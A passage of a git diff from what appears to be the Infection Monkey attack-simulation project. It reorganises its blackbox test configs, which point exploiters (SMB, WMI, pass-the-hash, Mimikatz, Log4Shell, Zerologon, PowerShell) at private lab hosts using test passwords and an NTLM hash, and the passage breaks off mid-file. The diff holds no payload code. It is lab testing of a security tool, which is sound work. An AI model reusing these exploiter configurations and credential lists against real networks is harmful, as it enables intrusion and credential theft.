-class ShellShock(ConfigTemplate): - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.8"], - "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/monkey/infection_monkey/ransomware/__init__.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/__init__.py similarity index 100% rename from monkey/infection_monkey/ransomware/__init__.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/__init__.py diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/hadoop.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/hadoop.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/hadoop.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_logstash.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_logstash.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_solr.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/log4j_solr.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_solr.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_tomcat.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_tomcat.py diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/mssql.py similarity index 93% rename from envs/monkey_zoo/blackbox/config_templates/mssql.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/mssql.py index 13d1c728e..403fc0060 100644 --- a/envs/monkey_zoo/blackbox/config_templates/mssql.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/mssql.py @@ -10,7 +10,7 @@ class Mssql(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["MSSQLExploiter"], - "internal.classes.finger_classes": ["PingScanner"], + "internal.classes.finger_classes": [], "basic_network.scope.subnet_scan_list": ["10.2.2.16"], "basic.credentials.exploit_password_list": [ "Password1!", diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/performance.py similarity index 87% rename from envs/monkey_zoo/blackbox/config_templates/performance.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/performance.py index eafa82d28..4c96a9b1e 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/performance.py @@ -16,10 +16,6 @@ class Performance(ConfigTemplate): "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", "PowerShellExploiter", @@ -29,8 +25,6 @@ class Performance(ConfigTemplate): "basic_network.network_analysis.inaccessible_subnets": [ "10.2.2.0/30", "10.2.2.8/30", - "10.2.2.24/32", - "10.2.2.23/32", "10.2.2.21/32", "10.2.2.19/32", "10.2.2.18/32", @@ -55,8 +49,6 @@ class Performance(ConfigTemplate): "10.2.2.19", "10.2.2.20", "10.2.2.21", - "10.2.2.23", - "10.2.2.24", "10.2.2.25", "10.2.3.55", "10.2.3.56", diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/powershell.py similarity index 88% rename from envs/monkey_zoo/blackbox/config_templates/powershell.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/powershell.py index a7f491449..3d8bb4d69 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/powershell.py @@ -19,9 +19,9 @@ class PowerShell(ConfigTemplate): "basic.credentials.exploit_password_list": ["Passw0rd!"], "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], - "internal.classes.finger_classes": ["PingScanner"], + "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.network.tcp_scanner.tcp_target_ports": [], + "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986], "internal.exploits.exploit_ntlm_hash_list": [ "d0f0132b308a0c4e5d1029cc06f48692", ], diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/powershell_credentials_reuse.py similarity index 82% rename from envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/powershell_credentials_reuse.py index d6113dc15..622cb6656 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/powershell_credentials_reuse.py @@ -14,8 +14,8 @@ class PowerShellCredentialsReuse(ConfigTemplate): "10.2.3.46", ], "basic_network.scope.depth": 2, - "internal.classes.finger_classes": ["PingScanner"], + "internal.classes.finger_classes": [], "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.network.tcp_scanner.tcp_target_ports": [], + "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986], } ) diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/smb_mimikatz.py similarity index 87% rename from envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/smb_mimikatz.py index 37b452801..828d2da21 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/smb_mimikatz.py @@ -13,11 +13,10 @@ class SmbMimikatz(ConfigTemplate): "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [445], "monkey.system_info.system_info_collector_classes": [ - "ProcessListCollector", "MimikatzCollector", ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/smb_pth.py similarity index 91% rename from envs/monkey_zoo/blackbox/config_templates/smb_pth.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/smb_pth.py index 89a379d15..cd9fed272 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/smb_pth.py @@ -13,7 +13,7 @@ class SmbPth(ConfigTemplate): "basic_network.scope.subnet_scan_list": ["10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [445], "internal.classes.exploits.exploit_ntlm_hash_list": [ diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/ssh.py similarity index 91% rename from envs/monkey_zoo/blackbox/config_templates/ssh.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/ssh.py index 8099e50a6..5a519d5d1 100644 --- a/envs/monkey_zoo/blackbox/config_templates/ssh.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/ssh.py @@ -14,7 +14,7 @@ class Ssh(ConfigTemplate): "basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"], "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["SSHFinger", "PingScanner"], + "internal.classes.finger_classes": ["SSHFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [22], } diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/tunneling.py similarity index 92% rename from envs/monkey_zoo/blackbox/config_templates/tunneling.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/tunneling.py index 15fb967d5..ec876b607 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/tunneling.py @@ -17,7 +17,7 @@ class Tunneling(ConfigTemplate): "10.2.0.11", ], "basic_network.scope.depth": 3, - "internal.general.keep_tunnel_open_time": 150, + "internal.general.keep_tunnel_open_time": 20, "basic.credentials.exploit_password_list": [ "Password1!", "3Q=(Ge(+&w]*", @@ -28,7 +28,6 @@ class Tunneling(ConfigTemplate): "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], "internal.classes.finger_classes": [ "SSHFinger", - "PingScanner", "HTTPFinger", "SMBFinger", ], diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_mimikatz.py similarity index 95% rename from envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_mimikatz.py index 7ff3ab84f..430547a73 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_mimikatz.py @@ -16,7 +16,6 @@ class WmiMimikatz(ConfigTemplate): "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [135], "monkey.system_info.system_info_collector_classes": [ - "ProcessListCollector", "MimikatzCollector", ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_pth.py similarity index 92% rename from envs/monkey_zoo/blackbox/config_templates/wmi_pth.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_pth.py index 84e7f3f70..ff2078d72 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_pth.py @@ -13,7 +13,7 @@ class WmiPth(ConfigTemplate): "basic_network.scope.subnet_scan_list": ["10.2.2.15"], "basic.credentials.exploit_password_list": ["Password1!"], "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["HTTPFinger"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [135], "internal.exploits.exploit_ntlm_hash_list": [ diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/zerologon.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/zerologon.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/zerologon.py diff --git a/envs/monkey_zoo/blackbox/config_templates/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py deleted file mode 100644 index 3997557b3..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/struts2.py +++ /dev/null @@ -1,19 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Struts2(ConfigTemplate): - - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["Struts2Exploiter"], - "basic_network.scope.depth": 2, - "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"], - "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080], - "internal.network.tcp_scanner.tcp_target_ports": [80, 8080], - } - ) diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py deleted file mode 100644 index 10bdadd11..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/weblogic.py +++ /dev/null @@ -1,18 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Weblogic(ConfigTemplate): - - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["WebLogicExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"], - "internal.network.tcp_scanner.HTTP_PORTS": [7001], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index a4dc02447..866e69c3e 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -2,24 +2,16 @@ GCP_TEST_MACHINE_LIST = { "europe-west3-a": [ "sshkeys-11", "sshkeys-12", - "elastic-4", - "elastic-5", "hadoop-2", "hadoop-3", "mssql-16", "mimikatz-14", "mimikatz-15", - "struts2-23", - "struts2-24", "tunneling-9", "tunneling-10", "tunneling-11", "tunneling-12", - "weblogic-18", - "weblogic-19", - "shellshock-8", "zerologon-25", - "drupal-28", ], "europe-west1-b": [ "powershell-3-45", diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 5c5b57e09..d203d8f9c 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -1,6 +1,6 @@ import json import logging -from time import sleep +import time from typing import Union from bson import json_util @@ -15,7 +15,7 @@ LOGGER = logging.getLogger(__name__) def avoid_race_condition(func): - sleep(SLEEP_BETWEEN_REQUESTS_SECONDS) + time.sleep(SLEEP_BETWEEN_REQUESTS_SECONDS) return func @@ -48,10 +48,15 @@ class MonkeyIslandClient(object): @avoid_race_condition def kill_all_monkeys(self): - if self.requests.get("api", {"action": "killall"}).ok: + response = self.requests.post_json( + "api/monkey_control/stop-all-agents", data={"kill_time": time.time()} + ) + if response.ok: LOGGER.info("Killing all monkeys after the test.") else: LOGGER.error("Failed to kill all monkeys.") + LOGGER.error(response.status_code) + LOGGER.error(response.content) assert False @avoid_race_condition diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index e6e64d3cc..0a234e991 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -8,44 +8,20 @@ from typing_extensions import Type from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal -from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic -from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop -from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash -from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr -from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat -from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql -from envs.monkey_zoo.blackbox.config_templates.performance import Performance -from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell -from envs.monkey_zoo.blackbox.config_templates.powershell_credentials_reuse import ( +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_2_a import Depth2A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_3_a import Depth3A +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell_credentials_reuse import ( PowerShellCredentialsReuse, ) -from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock -from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz -from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth -from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh -from envs.monkey_zoo.blackbox.config_templates.struts2 import Struts2 -from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling -from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic -from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz -from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth -from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import ( - MapGenerationFromTelemetryTest, -) -from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import ( - ReportGenerationFromTelemetryTest, -) -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( - TelemetryPerformanceTest, -) from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( initialize_gcp_client, start_machines, @@ -53,7 +29,7 @@ from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( ) from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -DEFAULT_TIMEOUT_SECONDS = 5 * 60 +DEFAULT_TIMEOUT_SECONDS = 2 * 60 + 30 MACHINE_BOOTUP_WAIT_SECONDS = 30 LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) @@ -130,48 +106,20 @@ class TestMonkeyBlackbox: log_handler=log_handler, ).run() - @staticmethod - def run_performance_test( - performance_test_class, - island_client, - config_template, - timeout_in_seconds, - break_on_timeout=False, - ): - raw_config = IslandConfigParser.get_raw_config(config_template, island_client) - log_handler = TestLogsHandler( - performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path() - ) - analyzers = [ - CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config)) - ] - performance_test_class( - island_client=island_client, - raw_config=raw_config, - analyzers=analyzers, - timeout=timeout_in_seconds, - log_handler=log_handler, - break_on_timeout=break_on_timeout, - ).run() - @staticmethod def get_log_dir_path(): return os.path.abspath(LOG_DIR_PATH) - def test_ssh_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") + def test_depth_1_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth1A, "Depth1A test suite") - def test_hadoop_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Hadoop, "Hadoop_exploiter", 6 * 60) + def test_depth_2_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth2A, "Depth2A test suite") - def test_mssql_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") - - def test_powershell_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, PowerShell, "PowerShell_Remoting_exploiter" - ) + def test_depth_3_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth3A, "Depth3A test suite") + # Not grouped because can only be ran on windows @pytest.mark.skip_powershell_reuse def test_powershell_exploiter_credentials_reuse(self, island_client): TestMonkeyBlackbox.run_exploitation_test( @@ -180,57 +128,7 @@ class TestMonkeyBlackbox: "PowerShell_Remoting_exploiter_credentials_reuse", ) - def test_smb_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, SmbMimikatz, "SMB_exploiter_mimikatz" - ) - - def test_smb_pth(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") - - def test_drupal_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") - - def test_elastic_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter") - - def test_struts_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter") - - def test_weblogic_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") - - def test_shellshock_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter") - - def test_log4j_solr_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Log4jSolr, "Log4Shell_Solr_exploiter" - ) - - def test_log4j_tomcat_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" - ) - - def test_log4j_logstash_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" - ) - - def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Tunneling, "Tunneling_exploiter", 15 * 60 - ) - - def test_wmi_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" - ) - - def test_wmi_pth(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") - + # Not grouped because it's slow def test_zerologon_exploiter(self, island_client): test_name = "Zerologon_exploiter" expected_creds = [ @@ -255,47 +153,13 @@ class TestMonkeyBlackbox: log_handler=log_handler, ).run() - @pytest.mark.skip( - reason="Perfomance test that creates env from fake telemetries is faster, use that instead." - ) - def test_report_generation_performance(self, island_client, quick_performance_tests): - """ - This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test - for a total of 8 machines including the Monkey Island. + # Not grouped because conflicts with SMB. + # Consider grouping when more depth 1 exploiters collide with group depth_1_a + def test_wmi_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" + ) - Is has 2 analyzers - the regular one which checks all the Monkeys - and the Timing one which checks how long the report took to execute - """ - if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test( - ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60 - ) - else: - LOGGER.error("This test doesn't support 'quick_performance_tests' option.") - assert False - - @pytest.mark.skip( - reason="Perfomance test that creates env from fake telemetries is faster, use that instead." - ) - def test_map_generation_performance(self, island_client, quick_performance_tests): - if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test( - MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60 - ) - else: - LOGGER.error("This test doesn't support 'quick_performance_tests' option.") - assert False - - @pytest.mark.run_performance_tests - def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): - ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() - - @pytest.mark.run_performance_tests - def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): - MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() - - @pytest.mark.run_performance_tests - def test_telem_performance(self, island_client, quick_performance_tests): - TelemetryPerformanceTest( - island_client, quick_performance_tests - ).test_telemetry_performance() + # Not grouped because it's depth 1 but conflicts with SMB exploiter in group depth_1_a + def test_smb_pth(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") diff --git a/envs/monkey_zoo/blackbox/test_blackbox_in_depth.py b/envs/monkey_zoo/blackbox/test_blackbox_in_depth.py new file mode 100644 index 000000000..42d2e28b7 --- /dev/null +++ b/envs/monkey_zoo/blackbox/test_blackbox_in_depth.py @@ -0,0 +1,296 @@ +import logging +import os +from time import sleep + +import pytest +from typing_extensions import Type + +from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer +from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.single_tests.drupal import Drupal +from envs.monkey_zoo.blackbox.config_templates.single_tests.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.single_tests.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.single_tests.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.single_tests.log4j_tomcat import Log4jTomcat +from envs.monkey_zoo.blackbox.config_templates.single_tests.mssql import Mssql +from envs.monkey_zoo.blackbox.config_templates.single_tests.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell import PowerShell +from envs.monkey_zoo.blackbox.config_templates.single_tests.powershell_credentials_reuse import ( + PowerShellCredentialsReuse, +) +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_mimikatz import SmbMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.ssh import Ssh +from envs.monkey_zoo.blackbox.config_templates.single_tests.struts2 import Struts2 +from envs.monkey_zoo.blackbox.config_templates.single_tests.tunneling import Tunneling +from envs.monkey_zoo.blackbox.config_templates.single_tests.weblogic import Weblogic +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.single_tests.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.config_templates.single_tests.zerologon import Zerologon +from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler +from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import ( + MapGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import ( + ReportGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( + TelemetryPerformanceTest, +) +from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( + initialize_gcp_client, + start_machines, + stop_machines, +) +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + +DEFAULT_TIMEOUT_SECONDS = 2 * 60 +MACHINE_BOOTUP_WAIT_SECONDS = 30 +LOG_DIR_PATH = "./logs" +logging.basicConfig(level=logging.INFO) +LOGGER = logging.getLogger(__name__) + + +@pytest.fixture(autouse=True, scope="session") +def GCPHandler(request, no_gcp): + if not no_gcp: + try: + initialize_gcp_client() + start_machines(GCP_TEST_MACHINE_LIST) + except Exception as e: + LOGGER.error("GCP Handler failed to initialize: %s." % e) + pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") + wait_machine_bootup() + + def fin(): + stop_machines(GCP_TEST_MACHINE_LIST) + + request.addfinalizer(fin) + + +@pytest.fixture(autouse=True, scope="session") +def delete_logs(): + LOGGER.info("Deleting monkey logs before new tests.") + TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path()) + + +def wait_machine_bootup(): + sleep(MACHINE_BOOTUP_WAIT_SECONDS) + + +@pytest.fixture(scope="class") +def island_client(island, quick_performance_tests): + client_established = False + try: + island_client_object = MonkeyIslandClient(island) + client_established = island_client_object.get_api_status() + except Exception: + logging.exception("Got an exception while trying to establish connection to the Island.") + finally: + if not client_established: + pytest.exit("BB tests couldn't establish communication to the island.") + if not quick_performance_tests: + island_client_object.reset_env() + island_client_object.set_scenario(IslandModeEnum.ADVANCED.value) + yield island_client_object + + +@pytest.mark.usefixtures("island_client") +# noinspection PyUnresolvedReferences +class TestMonkeyBlackbox: + @staticmethod + def run_exploitation_test( + island_client: MonkeyIslandClient, + config_template: Type[ConfigTemplate], + test_name: str, + timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS, + ): + raw_config = IslandConfigParser.get_raw_config(config_template, island_client) + analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + ExploitationTest( + name=test_name, + island_client=island_client, + raw_config=raw_config, + 